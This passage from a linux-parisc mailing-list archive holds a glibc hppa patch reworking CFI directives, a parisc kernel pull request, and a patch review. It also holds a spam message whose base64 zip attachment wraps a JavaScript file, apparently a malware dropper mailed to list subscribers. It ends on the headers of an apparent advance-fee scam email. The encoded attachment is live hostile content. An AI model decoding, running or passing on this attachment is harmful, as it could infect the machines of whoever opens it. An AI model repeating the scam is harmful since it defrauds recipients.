-	.cfi_adjust_cfa_offset -64			ASM_LINE_SEP	=
\
 	/* Restore rp before exit */			ASM_LINE_SEP	=
\
 	ldw -20(%sp), %rp				ASM_LINE_SEP	=
\
-	.cfi_restore 2					ASM_LINE_SEP	=
\
 	ret						ASM_LINE_SEP	=
\
 	END(__##syscall_name##_nocancel)		ASM_LINE_SEP	=
\
 	/**********************************************/ASM_LINE_SEP	=
\
 	ENTRY (name)							=
\
 	DOARGS_##args					ASM_LINE_SEP	=
\
 	stwm TREG, 64(%sp)				ASM_LINE_SEP	=
\
-	.cfi_adjust_cfa_offset 64			ASM_LINE_SEP	=
\
+	.cfi_def_cfa_offset -64				ASM_LINE_SEP	=
\
+	.cfi_offset TREG, 0				ASM_LINE_SEP	=
\
 	stw %sp, -4(%sp)				ASM_LINE_SEP	=
\
-	.cfi_offset 30, -4				ASM_LINE_SEP	=
\
 	stw %r19, -32(%sp)				ASM_LINE_SEP	=
\
-	.cfi_offset 19, -32				ASM_LINE_SEP	=
\
+	.cfi_offset 19, 32				ASM_LINE_SEP	=
\
 	/* Done setting up frame, continue... */	ASM_LINE_SEP	=
\
 	SINGLE_THREAD_P					ASM_LINE_SEP	=
\
 	cmpib,<>,n 0,%ret0,L(pseudo_cancel)		ASM_LINE_SEP	=
\
@@ -168,40 +165,32 @@ L(pre_end):						=
ASM_LINE_SEP	\
 	/* No need to LOAD_PIC */			ASM_LINE_SEP	=
\
 	/* Undo frame */				ASM_LINE_SEP	=
\
 	ldwm -64(%sp),TREG				ASM_LINE_SEP	=
\
-	.cfi_adjust_cfa_offset -64			ASM_LINE_SEP	=
\
 	/* Restore rp before exit */			ASM_LINE_SEP	=
\
-	ldw -20(%sp), %rp				ASM_LINE_SEP	=
\
-	.cfi_restore 2					ASM_LINE_SEP
+	ldw -20(%sp), %rp				ASM_LINE_SEP
=20
 /* Save arguments into our frame */
 # define PUSHARGS_0	/* nothing to do */
 # define PUSHARGS_1	PUSHARGS_0 stw %r26, -36(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 26, -36			=
ASM_LINE_SEP
+			.cfi_offset 26, 28			=
ASM_LINE_SEP
 # define PUSHARGS_2	PUSHARGS_1 stw %r25, -40(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 25, -40			=
ASM_LINE_SEP
+			.cfi_offset 25, 24			=
ASM_LINE_SEP
 # define PUSHARGS_3	PUSHARGS_2 stw %r24, -44(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 24, -44			=
ASM_LINE_SEP
+			.cfi_offset 24, 20			=
ASM_LINE_SEP
 # define PUSHARGS_4	PUSHARGS_3 stw %r23, -48(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 23, -48			=
ASM_LINE_SEP
+			.cfi_offset 23, 16			=
ASM_LINE_SEP
 # define PUSHARGS_5	PUSHARGS_4 stw %r22, -52(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 22, -52			=
ASM_LINE_SEP
+			.cfi_offset 22, 12			=
ASM_LINE_SEP
 # define PUSHARGS_6	PUSHARGS_5 stw %r21, -56(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 21, -56			=
ASM_LINE_SEP
+			.cfi_offset 21, 8			=
ASM_LINE_SEP
=20
 /* Bring them back from the stack */
 # define POPARGS_0	/* nothing to do */
-# define POPARGS_1	POPARGS_0 ldw -36(%sr0,%sp), %r26	=
ASM_LINE_SEP	\
-			.cfi_restore 26				=
ASM_LINE_SEP
-# define POPARGS_2	POPARGS_1 ldw -40(%sr0,%sp), %r25	=
ASM_LINE_SEP	\
-			.cfi_restore 25				=
ASM_LINE_SEP
-# define POPARGS_3	POPARGS_2 ldw -44(%sr0,%sp), %r24	=
ASM_LINE_SEP	\
-			.cfi_restore 24				=
ASM_LINE_SEP
-# define POPARGS_4	POPARGS_3 ldw -48(%sr0,%sp), %r23	=
ASM_LINE_SEP	\
-			.cfi_restore 23				=
ASM_LINE_SEP
-# define POPARGS_5	POPARGS_4 ldw -52(%sr0,%sp), %r22	=
ASM_LINE_SEP	\
-			.cfi_restore 22				=
ASM_LINE_SEP
-# define POPARGS_6	POPARGS_5 ldw -56(%sr0,%sp), %r21	=
ASM_LINE_SEP	\
-			.cfi_restore 21				=
ASM_LINE_SEP
+# define POPARGS_1	POPARGS_0 ldw -36(%sr0,%sp), %r26	=
ASM_LINE_SEP
+# define POPARGS_2	POPARGS_1 ldw -40(%sr0,%sp), %r25	=
ASM_LINE_SEP
+# define POPARGS_3	POPARGS_2 ldw -44(%sr0,%sp), %r24	=
ASM_LINE_SEP
+# define POPARGS_4	POPARGS_3 ldw -48(%sr0,%sp), %r23	=
ASM_LINE_SEP
+# define POPARGS_5	POPARGS_4 ldw -52(%sr0,%sp), %r22	=
ASM_LINE_SEP
+# define POPARGS_6	POPARGS_5 ldw -56(%sr0,%sp), %r21	=
ASM_LINE_SEP
=20
 # if IS_IN (libpthread)
 #  ifdef PIC
diff --git a/sysdeps/unix/sysv/linux/hppa/sysdep.h =
b/sysdeps/unix/sysv/linux/hppa/sysdep.h
index d8dd0431a4..c0cd59e9f5 100644
--- a/sysdeps/unix/sysv/linux/hppa/sysdep.h
+++ b/sysdeps/unix/sysv/linux/hppa/sysdep.h
@@ -49,11 +49,9 @@
    to another function */
 #define TREG 4
 #define SAVE_PIC(SREG) \
-	copy %r19, SREG ASM_LINE_SEP	\
-	.cfi_register 19, SREG
+	copy %r19, SREG
 #define LOAD_PIC(LREG) \
-	copy LREG , %r19 ASM_LINE_SEP	\
-	.cfi_restore 19
+	copy LREG , %r19
 /* Inline assembly defines */
 #define TREG_ASM "%r4" /* Cant clobber r3, it holds framemarker */
 #define SAVE_ASM_PIC	"       copy %%r19, %" TREG_ASM "\n"
@@ -292,12 +290,11 @@
 #define DO_CALL(syscall_name, args)				\
 	/* Create a frame */			ASM_LINE_SEP	\
 	stwm TREG, 64(%sp)			ASM_LINE_SEP	\
+	.cfi_def_cfa_offset -64			ASM_LINE_SEP	\
 	.cfi_offset TREG, 0			ASM_LINE_SEP	\
-	.cfi_adjust_cfa_offset 64		ASM_LINE_SEP	\
 	stw %sp, -4(%sp)			ASM_LINE_SEP	\
-	.cfi_offset 30, -4			ASM_LINE_SEP	\
 	stw %r19, -32(%sp)			ASM_LINE_SEP	\
-	.cfi_offset 19, -32			ASM_LINE_SEP	\
+	.cfi_offset 19, 32			ASM_LINE_SEP	\
 	/* Save r19 */				ASM_LINE_SEP	\
 	SAVE_PIC(TREG)				ASM_LINE_SEP	\
 	/* Do syscall, delay loads # */		ASM_LINE_SEP	\
@@ -320,10 +317,8 @@
 L(pre_end):					ASM_LINE_SEP	\
 	/* Restore our frame, restoring TREG */	ASM_LINE_SEP	\
 	ldwm -64(%sp), TREG			ASM_LINE_SEP	\
-	.cfi_adjust_cfa_offset -64		ASM_LINE_SEP	\
 	/* Restore return pointer */		ASM_LINE_SEP	\
-	ldw -20(%sp),%rp			ASM_LINE_SEP	\
-	.cfi_restore 2				ASM_LINE_SEP
+	ldw -20(%sp),%rp			ASM_LINE_SEP
=20
 /* We do nothing with the return, except hand it back to someone else =
*/
 #undef  DO_CALL_NOERRNO

--Apple-Mail-63-814753771--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture fix for v4.11
Date: Mon, 17 Apr 2017 22:15:41 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20170417201541.GA1292@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1492460154 1341 195.159.176.226 (17 Apr 2017 20:15:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 17 Apr 2017 20:15:54 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 17 22:15:49 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1d0D3s-0004ro-I9
	for glpp-linux-parisc@m.gmane.org; Mon, 17 Apr 2017 22:15:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753803AbdDQUPy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 17 Apr 2017 16:15:54 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:59625 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752462AbdDQUPx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 17 Apr 2017 16:15:53 -0400
Original-Received: from p100.box ([193.159.29.6]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MPDaC-1cvpL62TB2-004U9X; Mon, 17
 Apr 2017 22:15:44 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:hXLHGU6+638p4nia5VEfGJ9uGfg2wbFklTAno5aetNPcyGAuNFy
 XwRSmuSVW2YKWGwg904Gs7fs7CbDaUlDVV/IgNB7RKTGxFh7q3l2Y0QqyTPvB6MFa86X70b
 OXsLTG1FJrXmAx34OzK/knsFtumQeOMpf//spJ1kuyI8VMS8pUaCFREwTfQLbA0m7hHdOgp
 EzvrzJyO/NKrZZx6Z/xXw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:16bI55k+IiI=:fhIePP/DOJ9mOIn3qTBC0A
 FGpkva6D8zR4IzJJsCefV3RrZtF0M2cNcOp67LAXUTBMCb2jeQXHWJ67ZGyDGbmo57W8OWXmj
 SZNWyERKA+a2ikuZb3G4JwdpUWRPcassvYBQIJ6l2QT4eJKztxXroaS32nTx0CL3R3YsdTGza
 fbXvST/1k/Qlew0zNLeg+xYnmK6g78XvX3ao6pMqAConWIRMGQghfuwC9HulwiqrHenpwfK00
 S8Zdj+Uryez3bBBShgPFhSXlUD1Cplo1iq926+5kSAGOT0P+sGS64jXb6I8JIcrCzwbboqnt2
 XjYJl0AON4u2J+Q5/LzV07Stvp+yBGNw4cGBCzfNi7JuAjAi4f/x8gvZj8zIEbVtHuB7xKlb5
 FpszfdjhRXlgq4+A/c9lEIrnjMzBxaHBwUu6UHfOK/8VjMqSnfJPpirtQqvfbHs0pW6E2yPcR
 AnRS+yaSamjd7+2fzIv1VomNqP/tAnZE1QpW9XWJuoX/ganVoOI1imNghHHx92mxgEdqS1IJP
 WtqXMoCjn7Ds0QPrlIxHi1GMsn7Rx2k0e4i5Poqysn6cv7ExAj3D8gu7wrZ0BWAsgiLSIXGXq
 G1Zg9JyoHN2jk9Sy0W6zMQ9zInFVRBbDLdZNbjT6j14PjunX+h/YVTswdrIVKT89zWI8nBIs9
 oHGL+NELO7GwlmPJCxMrGL3i/7f5gTi0KNL929PY/Jp7BhB/irxoNfA6si5AoXKH7Zhs0OGtS
 tiEQfxFsoYDo69sU/XqFAEXM55pSqXbrTHSVhBl80/zXLzWTrqU52pB+240=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27399 gmane.linux.kernel:2457437
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27399>

Hi Linus,

please pull one important fix for the parisc architecture for kernel 4.11 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.11-5

One patch which fixes get_user() for 64-bit values on 32-bit kernels. Up
to now we lost the upper 32-bits of the returned 64-bit value.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (1):
      parisc: Fix get_user() for 64-bit value on 32-bit kernel

 arch/parisc/include/asm/uaccess.h | 86 +++++++++++++++++++++++++--------------
 1 file changed, 55 insertions(+), 31 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide,gmane.linux.kernel
Subject: Re: [PATCH] ide: don't call memcpy with the same source and destination
Date: Tue, 18 Apr 2017 12:58:27 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <3967489.2j6es1sVNT@amdc3058>
References: <alpine.LRH.2.02.1704141433280.10706@file01.intranet.prod.int.rdu2.redhat.com>
 <CGME20170418105834epcas1p1b000622da41db1214d1a9a1b888f7896@epcas1p1.samsung.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7Bit
X-Trace: blaine.gmane.org 1492513142 29125 195.159.176.226 (18 Apr 2017 10:59:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 18 Apr 2017 10:59:02 +0000 (UTC)
User-Agent: KMail/4.13.3 (Linux/3.13.0-96-generic; KDE/4.13.3; x86_64; ; )
Cc: "David S. Miller" <davem@davemloft.net>, linux-ide@vger.kernel.org,
        linux-kernel@vger.kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        John David Anglin <dave.anglin@bell.net>,
        linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 18 12:58:55 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1d0QqV-0003hr-77
	for glpp-linux-parisc@m.gmane.org; Tue, 18 Apr 2017 12:58:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752546AbdDRK7A (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 18 Apr 2017 06:59:00 -0400
Original-Received: from mailout3.samsung.com ([203.254.224.33]:47762 "EHLO
        mailout3.samsung.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754919AbdDRK6h (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 18 Apr 2017 06:58:37 -0400
Original-Received: from epcas1p4.samsung.com (unknown [182.195.41.48])
 by mailout3.samsung.com
 (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May  5 2014))
 with ESMTP id <0OOL025VLQHN3C60@mailout3.samsung.com>; Tue,
 18 Apr 2017 19:58:35 +0900 (KST)
Original-Received: from epsmges1p1.samsung.com (unknown [182.195.42.53])
 by     epcas1p2.samsung.com (KnoxPortal)
 with ESMTP id  20170418105835epcas1p274f26ad8a784a9b7127dcc536d42ed63~2eMU_Z-Im3093730937epcas1p2h;
        Tue, 18 Apr 2017 10:58:35 +0000 (GMT)
Original-Received: from epcas1p1.samsung.com ( [182.195.41.45])
 by     epsmges1p1.samsung.com (Symantec Messaging Gateway)
 with SMTP id   30.0B.11252.A51F5F85; Tue, 18 Apr 2017 19:58:35 +0900 (KST)
Original-Received: from epcpsbgm1new.samsung.com
 (u26.gpu120.samsung.co.kr      [203.254.230.26])
 by epcas1p1.samsung.com (KnoxPortal)
 with ESMTP id  20170418105834epcas1p1b000622da41db1214d1a9a1b888f7896~2eMUs60mm1510515105epcas1p1O;
        Tue, 18 Apr 2017 10:58:34 +0000 (GMT)
X-AuditID: b6c32a35-f79806d000002bf4-cf-58f5f15a7b62
Original-Received: from epmmp2 ( [203.254.227.17]) by epcpsbgm1new.samsung.com   (EPCPMTA)
 with SMTP id 5B.5B.05715.A51F5F85; Tue, 18 Apr 2017 19:58:34 +0900     (KST)
Original-Received: from amdc3058.localnet ([106.120.53.102])
 by mmp2.samsung.com    (Oracle Communications Messaging Server 7.0.5.31.0 64bit
 (built May  5  2014)) with ESMTPA id <0OOL009CLQHGOLB0@mmp2.samsung.com>; Tue,
 18 Apr 2017    19:58:34 +0900 (KST)
In-reply-to: <alpine.LRH.2.02.1704141433280.10706@file01.intranet.prod.int.rdu2.redhat.com>
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFprFKsWRmVeSWpSXmKPExsWy7bCmrm70x68RBk90LLZveMpiMed8C4vF
        /U+3GS3ur1vFanFsxyMmi8u75rBZPDp1gcliYsdVJgcOj2WTP7J6bFl5k8njw8c4jwuLfrN6
        vN93lc3j8ya5ALYoLpuU1JzMstQifbsErowPc96xFdxkrbg/9wZzA+Mjli5GTg4JAROJfW+/
        s0LYYhIX7q1n62Lk4hAS2MEoseF4IyuE084kseZyJxtMx6rdbSwQiTmMEisPbWQGSQgJfGWU
        mNRVCGKzCVhJTGxfxQhiiwhoSlya8wZsErNAA5PE+2XTwBLCAkES9w5vAEpwcLAIqEoc3lME
        EuYFqr+xeRvYSaICXhJb9rUzgdicArES8070M0PUCEr8mHwP7AVmAXmJffunskLYOhJnj61j
        BNklIbCNXWL93etg8yUEZCU2HWCGeMBF4uPXPqj3hSVeHd/CDmFLS6z6d4sJwp7OKLH9twTE
        nM2MQB9PgCqyljh8/CLUMj6Jd197oObzSnS0CUGUeEhcuvoeKuwo8eAoJySs1jFKTDm2k20C
        o/wsJC/MQvLCLCQvLGBkXsUollpQnJueWmxYYKhXnJhbXJqXrpecn7uJEZxitEx3ME4553OI
        UYCDUYmHd8W+LxFCrIllxZW5hxglOJiVRHjXffgaIcSbklhZlVqUH19UmpNafIhRmoNFSZxX
        dP21CCGB9MSS1OzU1ILUIpgsEwenVAPjhAO3a1ZqZaosmX5g2dmOXzfXRHyy/lEUbNn7 
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFtrHIsWRmVeSWpSXmKPExsVy+t9jQd2oj18jDL4s1rXYvuEpi8Wc8y0s
        Fvc/3Wa0uL9uFavFsR2PmCwu75rDZvHo1AUmi4kdV5kcODyWTf7I6rFl5U0mjw8f4zwuLPrN
        6vF+31U2j8+b5ALYotxsMlITU1KLFFLzkvNTMvPSbZVCQ9x0LZQU8hJzU22VInR9Q4KUFMoS
        c0qBPCMDNODgHOAerKRvl+CW8WHOO7aCm6wV9+feYG5gfMTSxcjJISFgIrFqdxuULSZx4d56
        ti5GLg4hgVmMEk2bzjFDOF8ZJb7uXAFWxSZgJTGxfRUjiC0ioClxac4bVpAiZoEGJok9jcuY
        QBLCAgESWztOA3VzcLAIqEoc3lMEEuYFqr+xeRsriC0q4CWxZV87WDmnQKzE484NYPOFBGIk
        rjYfZYKoF5T4MfkeWJxZQF5i3/6prBC2lsT6nceZJjACnYlQNgtJ2SwkZQsYmVcxSqQWJBcU
        J6XnGuallusVJ+YWl+al6yXn525iBMfdM6kdjAd3uR9iFOBgVOLhXbHvS4QQa2JZcWXuIUYJ
        DmYlEd57d79GCPGmJFZWpRblxxeV5qQWH2I0BfpvIrOUaHI+MCXklcQbmpibmBsbWJhbWpoY
        KYnzNs5+Fi4kkJ5YkpqdmlqQWgTTx8TBKdXAmPE0q8je5ffha69nKRUl+bhIqX+UWNDBNi0w
        dKOqFUNgjvM3uwq53XNz1x1xMbverWj58/LHzj8tUrFzo0/qlf98l/Lx/4uzGz+/FuT5 
X-MTR: 20000000000000000@CPGS
X-CMS-MailID: 20170418105834epcas1p1b000622da41db1214d1a9a1b888f7896
X-Msg-Generator: CA
X-Sender-IP: 203.254.230.26
X-Local-Sender: =?UTF-8?B?QmFydGxvbWllaiBab2xuaWVya2lld2ljehtTUlBPTC1LZXJu?=
        =?UTF-8?B?ZWwgKFRQKRvsgrzshLHsoITsnpAbU2VuaW9yIFNvZnR3YXJlIEVuZ2luZWVy?=
X-Global-Sender: =?UTF-8?B?QmFydGxvbWllaiBab2xuaWVya2lld2ljehtTUlBPTC1LZXJu?=
        =?UTF-8?B?ZWwgKFRQKRtTYW1zdW5nIEVsZWN0cm9uaWNzG1NlbmlvciBTb2Z0d2FyZSBF?=
        =?UTF-8?B?bmdpbmVlcg==?=
X-Sender-Code: =?UTF-8?B?QzEwG0VIURtDMTBDRDAyQ0QwMjczOTI=?=
CMS-TYPE: 101P
X-HopCount: 7
X-CMS-RootMailID: 20170418105834epcas1p1b000622da41db1214d1a9a1b888f7896
X-RootMTR: 20170418105834epcas1p1b000622da41db1214d1a9a1b888f7896
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27400 gmane.linux.ide:63426 gmane.linux.kernel:2457852
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27400>


On Friday, April 14, 2017 02:35:33 PM Mikulas Patocka wrote:
> The parisc architecture recently reimplemented the memcpy function and
> their reimplementation crashed when source and destination overlapped.
> 
> The crash happened in the function ide_complete_cmd where memcpy is called
> with the same source and destination pointer. According to the C
> specification, memcpy behavior is undefined if the source and destination
> range overlaps. This patches fixes the undefined behavior.
> 
> Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>

Reviewed-by: Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>

Best regards,
--
Bartlomiej Zolnierkiewicz
Samsung R&D Institute Poland
Samsung Electronics

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: <catherine.verge@hcahealthcare.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Tue, 18 Apr 2017 10:57:53 -0000
Lines: 27
Approved: news@gmane.org
Message-ID: <149251307339.13943.16267930298552753007@vnpt.vn>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: application/zip; name="EMAIL_7905004_linux-parisc.zip"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1492513148 29601 195.159.176.226 (18 Apr 2017 10:59:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 18 Apr 2017 10:59:08 +0000 (UTC)
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 18 12:59:04 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1d0Qqd-0007Vt-HI
	for glpp-linux-parisc@m.gmane.org; Tue, 18 Apr 2017 12:59:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755750AbdDRK7B (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 18 Apr 2017 06:59:01 -0400
Original-Received: from static.vnpt.vn ([14.231.229.158]:30788 "HELO vnpt.vn"
        rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org with SMTP
        id S1754776AbdDRK57 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 18 Apr 2017 06:57:59 -0400
X-Greylist: delayed 300 seconds by postgrey-1.27 at vger.kernel.org; Tue, 18 Apr 2017 06:57:58 EDT
Importance: High
Original-Subject: 
Content-Disposition: attachment
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27401
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27401>

UEsDBAoAAAAAAEFWkkqiJ1S+MAQAADAEAAAJAAAAMjI2MTIuemlwUEsDBBQAAAAIAEFWkkqcgXFY
mgMAAF4HAAAIAAAAMjI2MTIuanOFVW1vmzAQ/j5p/wEjTQNtyjLYloyqH0ggbdbmRYFtrcUXFxzC
RgBh56Wb9t93tiG0W6dJ3Pk43z3P3dkhe1Jry6tVQC8q7Vwr6EFzY57t6c3i7huNuaGzeJVVfDpP
e+tpToN7FtLt4u4T7Onm2fNnIj+c0yR1V97TAAcW14DQCzb0Oj/lfM+WHpnf/4Pz0s+ve2S5zLOY
hNOykGnZWjOaUnuTMk9o7R8zxpmhx/or3Yki0IcpqCIBVR6Ybmrn5xqvd9TUfiraUcroxY95AbzP
n+lIfwV6T3JjVyAWkwoZEbzWjtWHbLG3AdOxPdAFOoCWhao0US2KuWMNHcs6SJfsFDw+26A8B7dj
fXTskdP3nL6rcNlGRj4J+wixgfBlOKkqMQqelcWTqJdhuPwLUmbyTC4CXBoPGGbBzezasaXbAiZ4
Ezgdgdx5wBLwGpHt/0t3vYU3AsAmvitYAnZ4FeHdfA9sI1IqFGckn8jIMpdLgmqmgEM1+W2VE45Y
A2yNhPF+DI/0yJCRTBjOJINfkyIpt9L1sRm/69gfm95h7R6F+MgzGDt2v81UdICJjgiM0zmoyfmL
ChWCRw3VuvBDGT2GBsHYcF45tutYE3h+ZAVK1oTx7wQSeVmBjyTbrIC3agNxk7VEEeOx30EJoE9g
a5IzpMbadNxvKghQkUAF7Z6aebaWBQzbGE7U5dixNltVLKg8eSQWEKq2Wwxn0LTaHKt0th13fO2h
++F9heC9BXz7x/bXOuOoK2mljpZVZcHQqEzu24GrNMV8Sl6WLJM/hg6/rwIfFxeQPQrLSZajps+h
unNjmaLupbovfxCMpTcvGXrYm7qi4ofpH1G8E/U3gCpenbI6pL9tdadhXJ3TfnvCdgZepJvmmd58
IKtjPEnWfqa+VO5ofAlyBXI9iyIG62LND7AQkJpG0QzWbLxaNFtRdJiCVYB4wgMiopkmnLAbfwZj
JXJBfJA5SOiOZJGqmz1dBQK0nCvCW1e6AYTTNnArEaStSMpQNEDFN9V4ifeY1FiLU3yX41u8u8IB
1vA5SIjnmOIkxS5eYa8HiuJUKJJgA1dHHONJgtfYx1kP1+CvcE5wTI03kYtH4zfpa03HuonNHkRu
MIEYF3MDD4Zv8QfbHvTfDPAQCxvbeNDH5tlLs1dT+HBIDCwBYNzNsG++bT7n7heYtaq8/Zs4paxo
6h8rI07v8tvdVQDJqW6CfgEYD3CRxKUK+NfzZ78BUEsBAj8AFAAAAAgAQVaSSpyBcViaAwAAXgcA
AAgAJAAAAAAAAAAgAAAAAAAAADIyNjEyLmpzCgAgAAAAAAABABgAuWwuM2y40gG5bC4zbLjSAbls
LjNsuNIBUEsFBgAAAAABAAEAWgAAAMADAAAAAFBLAQI/AAoAAAAAAEFWkkqiJ1S+MAQAADAEAAAJ
ACQAAAAAAAAAIAAAAAAAAAAyMjYxMi56aXAKACAAAAAAAAEAGABuzzAzbLjSAW7PMDNsuNIBbs8w
M2y40gFQSwUGAAAAAAEAAQBbAAAAVwQAAAAA
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Mr.Jerry Smith" <laszlo.cserhalmi@forsterkozpont.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Fri, 21 Apr 2017 18:59:48 +0200 (CEST)
Lines: 10
Approved: news@gmane.org
Message-ID: <1377165471.4810025.1492793988909.JavaMail.zimbra@forsterkozpont.hu>
Reply-To: "jerryfunds11@inbox.lv" <jerryfunds11@inbox.lv>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1492816192 29127 195.159.176.226 (21 Apr 2017 23:09:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 21 Apr 2017 23:09:52 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 22 01:09:48 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1d1hgQ-0007Js-F9
	for glpp-linux-parisc@m.gmane.org; Sat, 22 Apr 2017 01:09:46 +0200
